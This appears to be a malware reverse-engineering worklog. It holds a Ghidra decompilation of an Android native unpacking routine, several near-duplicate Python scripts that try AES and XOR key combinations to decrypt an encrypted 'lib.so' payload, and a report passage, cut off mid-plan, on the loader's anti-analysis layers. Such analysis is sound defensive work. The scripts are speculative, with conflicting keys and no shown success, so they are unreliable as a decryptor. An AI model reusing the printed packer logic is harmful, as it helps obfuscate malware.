(int)(uint)bVar1 >> 1) goto LAB_0001982a;LAB_0001941c: if (local_58 != 0) goto LAB_00019426;LAB_00019890: uVar13 = (uint)(bVar15 >> 1); pbVar22 = param_3 + 1; } else { if (sVar4 != *(size_t *)(pbVar22 + 4)) goto LAB_0001941c;LAB_0001982a: pbVar9 = param_3 + 1; if (local_58 != 0) { pbVar9 = *(byte **)(param_3 + 8); } pbVar19 = pbVar22 + 1; if (local_60 != 0) { pbVar19 = *(byte **)(pbVar22 + 8); } if (local_58 == 0) { if (sVar4 == 0) goto LAB_0001945c; if (*pbVar9 == *pbVar19) { pbVar22 = pbVar9 + sVar4; do { pbVar9 = pbVar9 + 1; pbVar19 = pbVar19 + 1; if (pbVar9 == pbVar22) goto LAB_0001945c; } while (*pbVar9 == *pbVar19); } goto LAB_00019890; } iVar6 = memcmp(pbVar9,pbVar19,sVar4); if (iVar6 == 0) goto LAB_0001945c;LAB_00019426: uVar13 = *(uint *)(param_3 + 4); pbVar22 = *(byte **)(param_3 + 8); } /* try { // try from 0001943d to 000197dd has its CatchHandler @ 00019910 */ FUN_00018b90(&local_44,pbVar22,uVar13); if ((*param_3 & 1) == 0) { cVar3 = (char)((int)(uint)*param_3 >> 1); } else { cVar3 = (char)*(undefined4 *)(param_3 + 4); } local_64 = cVar3 + local_64;LAB_0001945c: piVar2 = *(int **)(param_1 + 4); pcVar21 = (char *)((int)&local_44 + 1); if ((local_44 & 1) != 0) { pcVar21 = local_3c; } sVar4 = strlen(pcVar21); uVar5 = (**(code **)(*piVar2 + 0x2c0))(piVar2,sVar4); (**(code **)(*piVar2 + 0x340))(piVar2,uVar5,0,sVar4,pcVar21); pbVar9 = (byte *)(**(code **)(**(int **)(param_1 + 4) + 0x2e0))(*(int **)(param_1 + 4),uVar5,0); iVar6 = (**(code **)(**(int **)(param_1 + 4) + 0x2ac))(*(int **)(param_1 + 4),uVar5); local_6c = (byte)(iVar20 / iVar7); pbVar22 = pbVar9; if (0 < iVar6) { do { *pbVar22 = *pbVar22 ^ local_6c; pbVar22 = pbVar22 + 1; } while (pbVar22 != pbVar9 + iVar6); } (**(code **)(**(int **)(param_1 + 4) + 0x300))(*(int **)(param_1 + 4),uVar5,pbVar9,0); uVar10 = (**(code **)(**(int **)(param_1 + 4) + 0x18))(*(int **)(param_1 + 4),unaff_EBX + 0x30e72) ; uVar11 = (**(code **)(**(int **)(param_1 + 4) + 0x29c)) (*(int **)(param_1 + 4),unaff_EBX + 0x30e8e); uVar12 = (**(code **)(**(int **)(param_1 + 4) + 0x1c4)) (*(int **)(param_1 + 4),uVar10,unaff_EBX + 0x30e92,unaff_EBX + 0x318ad); _JNIEnv::CallStaticObjectMethod(*(_JNIEnv **)(param_1 + 4),uVar10,uVar12,uVar11); (**(code **)(**(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4),uVar11); uVar11 = (**(code **)(**(int **)(param_1 + 4) + 0x84)) (*(int **)(param_1 + 4),uVar10,unaff_EBX + 0x30ea4,unaff_EBX + 0x30e9e); _JNIEnv::CallVoidMethod(*(_JNIEnv **)(param_1 + 4),extraout_EAX,uVar11,uVar5); uVar11 = (**(code **)(**(int **)(param_1 + 4) + 0x84)) (*(int **)(param_1 + 4),uVar10,unaff_EBX + 0x30eb0,unaff_EBX + 0x30eab); _JNIEnv::CallObjectMethod(*(_JNIEnv **)(param_1 + 4),extraout_EAX,uVar11); (**(code **)(**(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4),uVar10); (**(code **)(**(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4),extraout_EAX); (**(code **)(**(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4),uVar5); pbVar22 = (byte *)(**(code **)(**(int **)(param_1 + 4) + 0x2e0)) (*(int **)(param_1 + 4),extraout_EAX_00,0); local_38._0_1_ = 0xe2; local_38._1_1_ = 0x5f; local_38._2_1_ = 0x48; local_38._3_1_ = 0x73; local_34 = 0x25; local_33 = 0xc6; local_32 = 0xe7; local_31 = 0x11; local_30 = (void *)0xc3467c80; local_2c = 0xe3; local_2b = 0x1d; local_2a = 0x3c; local_29 = 0x97; local_28 = 0x3c; local_27 = 0x77; local_26 = 0x1e; local_25 = 1; local_24 = 0; puVar8 = &local_38; do { puVar17 = puVar8; uVar13 = *puVar17 + 0xfefefeff & ~*puVar17; uVar14 = uVar13 & 0x80808080; puVar8 = puVar17 + 1; } while (uVar14 == 0); uVar18 = uVar14 >> 0x10; puVar8 = (uint *)((int)puVar17 + 6); if ((uVar13 & 0x8080) != 0) { puVar8 = puVar17 + 1; uVar18 = uVar14; } iVar20 = (**(code **)(**(int **)(param_1 + 4) + 0x2ac))(*(int **)(param_1 + 4),extraout_EAX_00); iVar6 = 0; local_68 = local_64 + (char)(iVar20 / 2); pbVar9 = pbVar22; if (0 < iVar20) { do { bVar15 = *pbVar9; uVar13 = (int)(char)bVar15 >> 0x1f; iVar7 = (int)(((int)(char)bVar15 ^ uVar13) - uVar13) % iVar20; if (iVar20 / 2 < iVar7) { bVar15 = bVar15 ^ local_68; *pbVar9 = bVar15; } bVar1 = pbVar22[iVar7]; pbVar22[iVar7] = bVar15; *pbVar9 = bVar1; pbVar19 = (byte *)((int)&local_38 + iVar6); iVar6 = iVar6 + 1; *pbVar9 = bVar1 ^ *pbVar19; if ((int)puVar8 + ((-3 - (uint)CARRY1((byte)uVar18,(byte)uVar18)) - (int)&local_38) == iVar6) { iVar6 = 0; } pbVar9 = pbVar9 + 1; } while (pbVar9 != pbVar22 + iVar20); } (**(code **)(**(int **)(param_1 + 4) + 0x300))(*(int **)(param_1 + 4),extraout_EAX_00,pbVar22,0); if ((local_44 & 1) != 0) { operator.delete(local_3c); } if (local_20 == **(int **)(unaff_EBX + 0x3fc11)) { return extraout_EAX_00; } FUN_000167a0(); /* catch() { ... } // from try @ 000193ac with catch @ 000198f5 */ if (((byte)local_38 & 1) != 0) { operator.delete(local_30); } /* WARNING: Subroutine does not return */ _Unwind_Resume(extraout_EAX_01);}xxxxxxxxxxfrom Crypto.Cipher import AESimport binasciiimport itertools
# 1. Your observed 16-byte keys from the sandboxKEYS_HEX = [ "32E7B35ADA13BEA8CF404851152AA011", "41B1D0B984BD880A5F707851FDCA6038", "501093F28411FE6264731BEC7A1E040E", "54D7230A2CBD299534BA7E2149F62023"]keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX]
# 2. The 21-byte static XOR key we found in the Ghidra __s_00 arraySTATIC_XOR_KEY = bytes([ 0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C, 0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1, 0x69, 0xA8, 0x18, 0xCA, 0x00])
def master_decrypt(input_file, output_file): with open(input_file, "rb") as f: ciphertext = f.read()
print(f"[*] Loaded {input_file} ({len(ciphertext)} bytes)") print("[*] Testing all AES combinations and XOR layers...")
# Try every combination of Key and IV (12 permutations total) for k, iv in itertools.permutations(keys_bin, 2): # Step 1: AES Decrypt (CBC Mode) cipher = AES.new(k, AES.MODE_CBC, iv) try: aes_decrypted = bytearray(cipher.decrypt(ciphertext)) except Exception: continue
# Step 2: Apply the 21-byte Rolling XOR # We do this BEFORE the slky brute force because Ghidra showed # the rolling XOR loop occurring in the decryption flow. xor_layer_data = bytearray(len(aes_decrypted)) for i in range(len(aes_decrypted)): xor_layer_data[i] = aes_decrypted[i] ^ STATIC_XOR_KEY[i % len(STATIC_XOR_KEY)]
# Step 3: Brute force the single 'slky' byte (0-255) for slky_byte in range(256): # Check the first 4 bytes for magic headers header = bytes([xor_layer_data[i] ^ slky_byte for i in range(4)])
if header.startswith(b"PK") or header.startswith(b"dex"): print("\n[!] SUCCESS! FOUND VALID PAYLOAD") print(f"[+] Header: {header}") print(f"[+] AES Key: {binascii.hexlify(k).upper()}") print(f"[+] AES IV: {binascii.hexlify(iv).upper()}") print(f"[+] Slky XOR Byte: {hex(slky_byte)}")
# Apply final XOR and save final_data = bytes([b ^ slky_byte for b in xor_layer_data]) with open(output_file, "wb") as out: out.write(final_data) print(f"[+] Decrypted file saved as: {output_file}") return True
print("\n[-] Decryption failed. Possible reasons:") print(" 1. The lib.so file has extra padding/headers.") print(" 2. The 21-byte XOR happens in a different order.") return False
# Run itif __name__ == "__main__": master_decrypt("./assets/lib.so", "decrypted_payload.bin")xxxxxxxxxximport itertoolsfrom Crypto.Cipher import AESimport binascii
# Your keysKEYS_HEX = [ "32E7B35ADA13BEA8CF404851152AA011", "41B1D0B984BD880A5F707851FDCA6038", "501093F28411FE6264731BEC7A1E040E", "54D7230A2CBD299534BA7E2149F62023"]keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX]
STATIC_XOR_KEY = bytes([ 0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C, 0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1, 0x69, 0xA8, 0x18, 0xCA, 0x00])
def deep_scan(input_file): with open(input_file, "rb") as f: full_data = f.read()
# Try different starting offsets in case there is a header for offset in [0, 4, 8, 16]: ciphertext = full_data[offset:] # Ensure ciphertext is multiple of 16 for AES mod = len(ciphertext) % 16 if mod != 0: ciphertext = ciphertext[:-mod]
print(f"[*] Testing Offset {offset}...")
for k, iv in itertools.permutations(keys_bin, 2): cipher = AES.new(k, AES.MODE_CBC, iv) try: raw_aes = bytearray(cipher.decrypt(ciphertext)) except: continue
# Case A: AES -> Rolling XOR -> Slky # Case B: AES -> Slky (No Rolling) for mode in ['rolling', 'no_rolling']: current_data = bytearray(raw_aes) if mode == 'rolling': for i in range(len(current_data)): current_data[i] ^= STATIC_XOR_KEY[i % len(STATIC_XOR_KEY)]
for slky in range(256): h = bytes([current_data[i] ^ slky for i in range(4)]) if h.startswith(b"PK") or h.startswith(b"dex"): print(f"\n[!] SUCCESS at Offset {offset}!") print(f"[+] Mode: {mode} | Key: {binascii.hexlify(k).upper()}") print(f"[+] Slky Byte: {hex(slky)}") return True return False
deep_scan("./assets/lib.so")xxxxxxxxxximport hashlibfrom Crypto.Cipher import AESimport osimport sys
LIB_SO_PATH = "lib.so"
# 1. Key used inside slky() scrambling loop (local_38)# Extracted from code2026-02-001.c (Lines 969+)STATIC_KEY_SLKY = bytes([ 0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11, 0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97, 0x3c, 0x77, 0x1e, 0x01, 0x00])
# 2. Key used in burden() rolling XOR (__s_00)# Reconstructed from code2026-02-001.c (Lines 678+)STATIC_KEY_BURDEN = bytes([ 0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C, 0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1, 0x69, 0xA8, 0x18, 0xCA, 0x00])
KEYS_HEX = [ "32E7B35ADA13BEA8CF404851152AA011", "41B1D0B984BD880A5F707851FDCA6038", "501093F28411FE6264731BEC7A1E040E", "54D7230A2CBD299534BA7E2149F62023"]
def slky_scramble(p1, p2, algo): if p1 is None: p1 = b"" if p2 is None: p2 = b"" # Checksum logic matching C implementation sum_val = sum(p1) len_p1 = len(p1) if len(p1) > 0 else 1 local_64 = (sum_val % len_p1) local_64 = (local_64 + len(p2)) & 0xFF if algo == 'md5': h = hashlib.md5() elif algo == 'sha1': h = hashlib.sha1() elif algo == 'sha256': h = hashlib.sha256() else: return b"" # Simulating MessageDigest.update(p1+p2) h.update(p1 + p2) digest = bytearray(h.digest()) len_d = len(digest) local_68 = (local_64 + (len_d // 2)) & 0xFF len_k = len(STATIC_KEY_SLKY) k_idx = 0 # Scramble loop for i in range(len_d): b = digest[i] # Consistent signed byte to int conversion val = b if val > 127: val -= 256 abs_val = abs(val) swap_idx = abs_val % len_d # Conditional XOR before swap if (len_d // 2) < swap_idx: b = b ^ local_68 # Swap logic b_at_swap = digest[swap_idx] digest[swap_idx] = b & 0xFF digest[i] = b_at_swap # Final XOR with Static Key digest[i] = digest[i] ^ STATIC_KEY_SLKY[k_idx] k_idx = (k_idx + 1) % len_k return bytes(digest)
def xor_data(data, key): res = bytearray(data) kl = len(key) for i in range(len(res)): res[i] ^= key[i % kl] return bytes(res)
def check_header(data): # Magic Header Checks if len(data) < 4: return False if data.startswith(b"PK\x03\x04"): return "ZIP" if data.startswith(b"dex\n"): return "DEX" if data.startswith(b"\x7fELF"): return "ELF" return False
def decrypt(): print("Starting Decryption...") if not os.path.exists(LIB_SO_PATH): print(f"Error: {LIB_SO_PATH} not found") return with open(LIB_SO_PATH, "rb") as f: full_data = f.read()
# Prepare inputs for slky inputs_bin = [bytes.fromhex(k) for k in KEYS_HEX] inputs_txt = [k.encode('utf-8') for k in KEYS_HEX] all_inputs = inputs_bin + inputs_txt # Pre-calculate Dynamic Keys (Final XOR Layer) dyn_keys = [] dyn_keys.append((b"", "None")) print("[*] Generating Dynamic XOR Keys...") # MD5 is most likely given "Observed AES-128 Keys" context for algo in ['md5', 'sha1']: for k1 in all_inputs: # Try permutations of key pairs for k2 in all_inputs: k = slky_scramble(k1, k2, algo) dyn_keys.append((k, f"slky({algo},pair)")) # Try single key k = slky_scramble(k1, b"", algo) dyn_keys.append((k, f"slky({algo},single)")) print(f"[*] Generated {len(dyn_keys)} potential final layers.")
aes_keys = inputs_bin # Test common file offsets skips = [0, 16, 32] for skip in skips: # Optimization: Process only header chunk first chunk = full_data[skip:skip+64] for aes_k in aes_keys: # IV is usually Zero or the Key itself in malware ivs = [b'\x00'*16, aes_k] for iv in ivs: try: # Layer 1: AES Decrypt cipher = AES.new(aes_k, AES.MODE_CBC, iv) pt_aes = cipher.decrypt(chunk) # Layer 2: Rolling XOR (Static) pt_static = xor_data(pt_aes, STATIC_KEY_BURDEN) # Layer 3: Final XOR (Dynamic) for dyn_k, desc in dyn_keys: final = xor_data(pt_static, dyn_k) res = check_header(final) if res: print(f"\n[+] SUCCESS! Found {res} Header") print(f" Skip: {skip}") print(f" AES Key: {aes_k.hex()}") print(f" IV: {iv.hex()}") print(f" Dynamic Key Desc: {desc}") # Perform full decryption fc = AES.new(aes_k, AES.MODE_CBC, iv) full_pt = fc.decrypt(full_data[skip:]) full_static = xor_data(full_pt, STATIC_KEY_BURDEN) full_final = xor_data(full_static, dyn_k) out_name = f"decrypted_payload.{res.lower()}" with open(out_name, "wb") as f: f.write(full_final) print(f" Saved payload to {out_name}") return except Exception: pass
print("[-] Decryption failed with current permutations.")
if __name__ == "__main__": decrypt()xxxxxxxxxximport hashlibfrom Crypto.Cipher import AESimport osimport sys
LIB_SO_PATH = "lib.so"
# 1. Key used inside slky() scrambling loop (local_38)# Extracted from code2026-02-001.c (Lines 969+)STATIC_KEY_SLKY = bytes([ 0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11, 0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97, 0x3c, 0x77, 0x1e, 0x01, 0x00])
# 2. Key used in burden() rolling XOR (__s_00)# Reconstructed from code2026-02-001.c (Lines 678+)STATIC_KEY_BURDEN = bytes([ 0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C, 0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1, 0x69, 0xA8, 0x18, 0xCA, 0x00])
KEYS_HEX = [ "32E7B35ADA13BEA8CF404851152AA011", "41B1D0B984BD880A5F707851FDCA6038", "501093F28411FE6264731BEC7A1E040E", "54D7230A2CBD299534BA7E2149F62023"]
def slky_scramble(p1, p2, algo): if p1 is None: p1 = b"" if p2 is None: p2 = b"" # Checksum logic matching C implementation sum_val = sum(p1) len_p1 = len(p1) if len(p1) > 0 else 1 local_64 = (sum_val % len_p1) local_64 = (local_64 + len(p2)) & 0xFF if algo == 'md5': h = hashlib.md5() elif algo == 'sha1': h = hashlib.sha1() elif algo == 'sha256': h = hashlib.sha256() else: return b"" # Simulating MessageDigest.update(p1+p2) h.update(p1 + p2) digest = bytearray(h.digest()) len_d = len(digest) local_68 = (local_64 + (len_d // 2)) & 0xFF len_k = len(STATIC_KEY_SLKY) k_idx = 0 # Scramble loop for i in range(len_d): b = digest[i] # Consistent signed byte to int conversion val = b if val > 127: val -= 256 abs_val = abs(val) swap_idx = abs_val % len_d # Conditional XOR before swap if (len_d // 2) < swap_idx: b = b ^ local_68 # Swap logic b_at_swap = digest[swap_idx] digest[swap_idx] = b & 0xFF digest[i] = b_at_swap # Final XOR with Static Key digest[i] = digest[i] ^ STATIC_KEY_SLKY[k_idx] k_idx = (k_idx + 1) % len_k return bytes(digest)
def xor_data(data, key): res = bytearray(data) kl = len(key) for i in range(len(res)): res[i] ^= key[i % kl] return bytes(res)
def check_header(data): # Magic Header Checks if len(data) < 4: return False if data.startswith(b"PK\x03\x04"): return "ZIP" if data.startswith(b"dex\n"): return "DEX" if data.startswith(b"\x7fELF"): return "ELF" return False
def decrypt(): print("Starting Decryption...") if not os.path.exists(LIB_SO_PATH): print(f"Error: {LIB_SO_PATH} not found") return with open(LIB_SO_PATH, "rb") as f: full_data = f.read()
# Prepare inputs for slky inputs_bin = [bytes.fromhex(k) for k in KEYS_HEX] inputs_txt = [k.encode('utf-8') for k in KEYS_HEX] all_inputs = inputs_bin + inputs_txt # Pre-calculate Dynamic Keys (Final XOR Layer) dyn_keys = [] dyn_keys.append((b"", "None")) print("[*] Generating Dynamic XOR Keys...") # MD5 is most likely given "Observed AES-128 Keys" context for algo in ['md5', 'sha1']: for k1 in all_inputs: # Try permutations of key pairs for k2 in all_inputs: k = slky_scramble(k1, k2, algo) dyn_keys.append((k, f"slky({algo},pair)")) # Try single key k = slky_scramble(k1, b"", algo) dyn_keys.append((k, f"slky({algo},single)")) print(f"[*] Generated {len(dyn_keys)} potential final layers.")
aes_keys = inputs_bin # Test common file offsets skips = [0, 16, 32] for skip in skips: # Optimization: Process only header chunk first chunk = full_data[skip:skip+64] for aes_k in aes_keys: # IV is usually Zero or the Key itself in malware ivs = [b'\x00'*16, aes_k] for iv in ivs: try: # Layer 1: AES Decrypt cipher = AES.new(aes_k, AES.MODE_CBC, iv) pt_aes = cipher.decrypt(chunk) # Layer 2: Rolling XOR (Static) pt_static = xor_data(pt_aes, STATIC_KEY_BURDEN) # Layer 3: Final XOR (Dynamic) for dyn_k, desc in dyn_keys: final = xor_data(pt_static, dyn_k) res = check_header(final) if res: print(f"\n[+] SUCCESS! Found {res} Header") print(f" Skip: {skip}") print(f" AES Key: {aes_k.hex()}") print(f" IV: {iv.hex()}") print(f" Dynamic Key Desc: {desc}") # Perform full decryption fc = AES.new(aes_k, AES.MODE_CBC, iv) full_pt = fc.decrypt(full_data[skip:]) full_static = xor_data(full_pt, STATIC_KEY_BURDEN) full_final = xor_data(full_static, dyn_k) out_name = f"decrypted_payload.{res.lower()}" with open(out_name, "wb") as f: f.write(full_final) print(f" Saved payload to {out_name}") return except Exception: pass
print("[-] Decryption failed with current permutations.")
if __name__ == "__main__": decrypt()xxxxxxxxxx
import hashlibimport binasciifrom Crypto.Cipher import AES
STATIC_KEY_SLKY = bytes([ 0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11, 0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97, 0x3c, 0x77, 0x1e, 0x01])
STATIC_KEY_BURDEN = bytes([ 0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C, 0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1, 0x69, 0xA8, 0x18, 0xCA])
KEYS_HEX = [ "32E7B35ADA13BEA8CF404851152AA011", "41B1D0B984BD880A5F707851FDCA6038", "501093F28411FE6264731BEC7A1E040E", "54D7230A2CBD299534BA7E2149F62023"]
def c_mod(a, b): return int(a % b) if a >= 0 else -int(-a % b)
def slky_scramble(p1, p2): s = len(p1) for b in p1: val = b if b < 128 else b - 256 s += val rem = c_mod(s, len(p1)) local_64 = (rem + len(p2)) & 0xFF h = hashlib.md5(p1 + p2).digest() digest = bytearray(h) local_68 = (local_64 + 8) & 0xFF sVar23 = 0 for i in range(16): b = digest[i] signed_b = b if b < 128 else b - 256 iVar8 = abs(signed_b) % 16 if 8 < iVar8: b ^= local_68 b_at_swap = digest[iVar8] digest[iVar8] = b digest[i] = b_at_swap ^ STATIC_KEY_SLKY[sVar23] sVar23 = (sVar23 + 1) % 20 return bytes(digest)
def xor_data(data, key): kl = len(key) if kl == 0: return data res = bytearray(data) for i in range(len(res)): res[i] ^= key[i % kl] return bytes(res)
def check_header(data): if len(data) < 4: return None if data.startswith(b"PK\x03\x04"): return "ZIP" if data.startswith(b"dex\n"): return "DEX" if data.startswith(b"\x7fELF"): return "ELF" return None
def decrypt(): with open("lib.so", "rb") as f: full_data = f.read() keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX] derived_keys = [] # 1. Observed keys for k in keys_bin: derived_keys.append((k, "Observed")) # 2. slky(k1, k2) for k1 in keys_bin: for k2 in keys_bin: dk = slky_scramble(k1, k2) derived_keys.append((dk, f"slky({binascii.hexlify(k1[:2]).decode()},{binascii.hexlify(k2[:2]).decode()})")) dk_burden = bytes([dk[i] ^ STATIC_KEY_BURDEN[i] for i in range(16)]) derived_keys.append((dk_burden, f"slky(...) ^ Burden"))
# 3. Try variations of k1, k2 (reverse order, single) for k1 in keys_bin: dk = slky_scramble(k1, b"") derived_keys.append((dk, f"slky({binascii.hexlify(k1[:2]).decode()}, empty)"))
print(f"Testing {len(derived_keys)} potential keys...") chunk = full_data[:64] for dk, desc in derived_keys: ivs = [b'\x00'*16, dk] for iv in ivs: # Flow 1: XOR -> AES # Order in burden::a was: XOR with derived key, then Decrypt with derived key # Let's try both XOR with DK and XOR with BURDEN for xor_key in [dk, STATIC_KEY_BURDEN]: try: data_xor = xor_data(chunk, xor_key) cipher = AES.new(dk, AES.MODE_CBC, iv) pt = cipher.decrypt(data_xor) if check_header(pt): print(f"FOUND! Flow: XOR({xor_key == dk and 'DK' or 'BURDEN'}) -> AES_CBC. Key: {desc}, IV: {'DK' if iv==dk else '0'}") return # Flow 2: AES -> XOR cipher = AES.new(dk, AES.MODE_CBC, iv) pt_aes = cipher.decrypt(chunk) final = xor_data(pt_aes, xor_key) if check_header(final): print(f"FOUND! Flow: AES_CBC -> XOR({xor_key == dk and 'DK' or 'BURDEN'}). Key: {desc}, IV: {'DK' if iv==dk else '0'}") return except: pass print("Failed.")
decrypt()xxxxxxxxxx
import hashlibimport binasciifrom Crypto.Cipher import AES
STATIC_KEY_SLKY = bytes([ 0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11, 0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97, 0x3c, 0x77, 0x1e, 0x01])
STATIC_KEY_BURDEN = bytes([ 0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C, 0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1, 0x69, 0xA8, 0x18, 0xCA])
POTENTIAL_STRINGS = [ "32E7B35ADA13BEA8CF404851152AA011", "41B1D0B984BD880A5F707851FDCA6038", "501093F28411FE6264731BEC7A1E040E", "54D7230A2CBD299534BA7E2149F62023", "734628387", "com.zhendong", "lib.so", "zyj.iyu", "ygsiyu", "edk88ke"]
def c_mod(a, b): return int(a % b) if a >= 0 else -int(-a % b)
def slky_scramble_fixed(p1, p2): if not p1: p1 = b"" if not p2: p2 = b"" # Checksum and Average s = len(p1) for b in p1: val = b if b < 128 else b - 256 s += val avg = s // len(p1) if len(p1) > 0 else 0 p1_xor = bytes([b ^ (avg & 0xFF) for b in p1]) p2_xor = bytes([b ^ (avg & 0xFF) for b in p2]) # Assuming p2 is also XORed? # local_64 (used for local_68) rem = c_mod(s, len(p1)) if len(p1) > 0 else 0 local_64 = (rem + len(p2)) & 0xFF h = hashlib.md5(p1_xor + p2_xor).digest() digest = bytearray(h) local_68 = (local_64 + 8) & 0xFF sVar23 = 0 for i in range(16): b = digest[i] signed_b = b if b < 128 else b - 256 iVar8 = abs(signed_b) % 16 if 8 < iVar8: b ^= local_68 b_at_swap = digest[iVar8] digest[iVar8] = b digest[i] = b_at_swap ^ STATIC_KEY_SLKY[sVar23] sVar23 = (sVar23 + 1) % len(STATIC_KEY_SLKY) return bytes(digest)
def xor_data(data, key): if not key: return data kl = len(key) res = bytearray(data) for i in range(len(res)): res[i] ^= key[i % kl] return bytes(res)
def check_header(data): if len(data) < 4: return None if b"PK\x03\x04" in data[:16]: return "ZIP" if b"dex\n" in data[:16]: return "DEX" if b"\x7fELF" in data[:16]: return "ELF" return None
def decrypt(): with open("lib.so", "rb") as f: full_data = f.read() inputs = [s.encode('utf-8') for s in POTENTIAL_STRINGS] derived_keys = [] # 1. slky(k1, k2) for k1 in inputs: for k2 in inputs: dk = slky_scramble_fixed(k1, k2) derived_keys.append((dk, f"slky({k1.decode()},{k2.decode()})")) dk_burden = bytes([dk[i] ^ STATIC_KEY_BURDEN[i % 20] for i in range(16)]) derived_keys.append((dk_burden, f"slky(...) ^ Burden")) # 2. Observed keys directly for s in POTENTIAL_STRINGS: try: k = binascii.unhexlify(s) if len(k) == 16: derived_keys.append((k, "ObservedHEX")) except: pass
print(f"Testing {len(derived_keys)} potential keys...") chunk = full_data[:128] for dk, desc in derived_keys: # Flow 1: Just XOR final = xor_data(chunk, dk) res = check_header(final) if res: print(f"FOUND! Mode: XOR. Key: {desc}") return # Flow 2: AES-CBC (IV=DK) for iv in [b'\x00'*16, dk]: try: # Path A: AES then XOR cipher = AES.new(dk, AES.MODE_CBC, iv) pt_aes = cipher.decrypt(chunk) final = xor_data(pt_aes, dk) if check_header(final): print(f"FOUND! Mode: AES->XOR. Key: {desc}, IV: {'DK' if iv==dk else '0'}") return # Path B: XOR then AES data_xor = xor_data(chunk, dk) cipher = AES.new(dk, AES.MODE_CBC, iv) final = cipher.decrypt(data_xor) if check_header(final): print(f"FOUND! Mode: XOR->AES. Key: {desc}, IV: {'DK' if iv==dk else '0'}") return except: pass
print("Failed.")
decrypt()xxxxxxxxxx
import hashlibimport binascii
STATIC_KEY_SLKY = bytes([ 0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11, 0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97, 0x3c, 0x77, 0x1e, 0x01])
STATIC_KEY_BURDEN = bytes([ 0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C, 0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1, 0x69, 0xA8, 0x18, 0xCA])
KEYS_HEX = [ "32E7B35ADA13BEA8CF404851152AA011", "41B1D0B984BD880A5F707851FDCA6038", "501093F28411FE6264731BEC7A1E040E", "54D7230A2CBD299534BA7E2149F62023"]
def c_mod(a, b): return int(a % b) if a >= 0 else -int(-a % b)
def slky_scramble(p1, p2): # p1, p2 are bytes s = len(p1) for b in p1: val = b if b < 128 else b - 256 s += val rem = c_mod(s, len(p1)) local_64 = (rem + len(p2)) & 0xFF h = hashlib.md5(p1 + p2).digest() digest = bytearray(h) len_d = 16 local_68 = (local_64 + 8) & 0xFF sVar23 = 0 for i in range(len_d): b = digest[i] signed_b = b if b < 128 else b - 256 iVar8 = abs(signed_b) % 16 if 8 < iVar8: b ^= local_68 # digest[i] = b # Overwritten anyway bVar5 = digest[iVar8] digest[iVar8] = b digest[i] = bVar5 ^ STATIC_KEY_SLKY[sVar23] sVar23 = (sVar23 + 1) % 20 return bytes(digest)
keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX]
print("Derived Keys (slky(k1, k2)):")for i, k1 in enumerate(keys_bin): for j, k2 in enumerate(keys_bin): dk = slky_scramble(k1, k2) print(f"[{i}][{j}]: {dk.hex().upper()}")
print("\nDerived Keys (slky(k1, k2) ^ Burden):")for i, k1 in enumerate(keys_bin): for j, k2 in enumerate(keys_bin): dk = slky_scramble(k1, k2) dk_b = bytes([dk[idx] ^ STATIC_KEY_BURDEN[idx] for idx in range(16)]) print(f"[{i}][{j}]: {dk_b.hex().upper()}")lib.soThe investigation has successfully penetrated the first two defensive layers of the "burden" loading mechanism. Current intelligence confirms the following cryptographic parameters:
Primary Layer: AES-128-CBC encryption. Four distinct 16-byte candidates have been recovered from sandbox memory.
Secondary Layer: A static 21-byte rolling XOR transformation utilizing a hardcoded array (__s_00) initialized in the native heap.
Tertiary Layer (The "Slinger"): A dynamic Key Derivation Function (KDF) identified as iapp::slky. This function performs a non-linear shuffle of the key material based on a runtime checksum of the input parameters.
The automated decryption workflow (LLM-Agent Pipeline) has reached a state of stasis due to the following "Black Box" dependencies:
JNI Opaque Calls: The slky routine breaks static analysis by offloading cryptographic hashing to the Android Java API (java.security.MessageDigest). Without the specific algorithm (MD5 vs. SHA) and the runtime "salt" string, the seed for the final XOR cannot be predicted.
State-Dependent Shuffling: The final decryption key is mutated via a Fisher-Yates style shuffle that is sensitive to the exact length and byte-sum of the input strings. A single-bit difference in the JNI return value results in a completely divergent XOR stream.
Anti-Analysis Environment: The presence of ptrace checks and /proc/self/status monitoring prevents standard debuggers from attaching to the process to inspect the slky return buffer.
To bypass the complexity of the slky math, the Apich Security Team recommends a dynamic "Man-in-the-Middle" (MitM) approach using Frida. By intercepting the routine at the "Exit Point" rather than reversing the "Entry Logic," we can extract the final key material.
Execution Strategy:
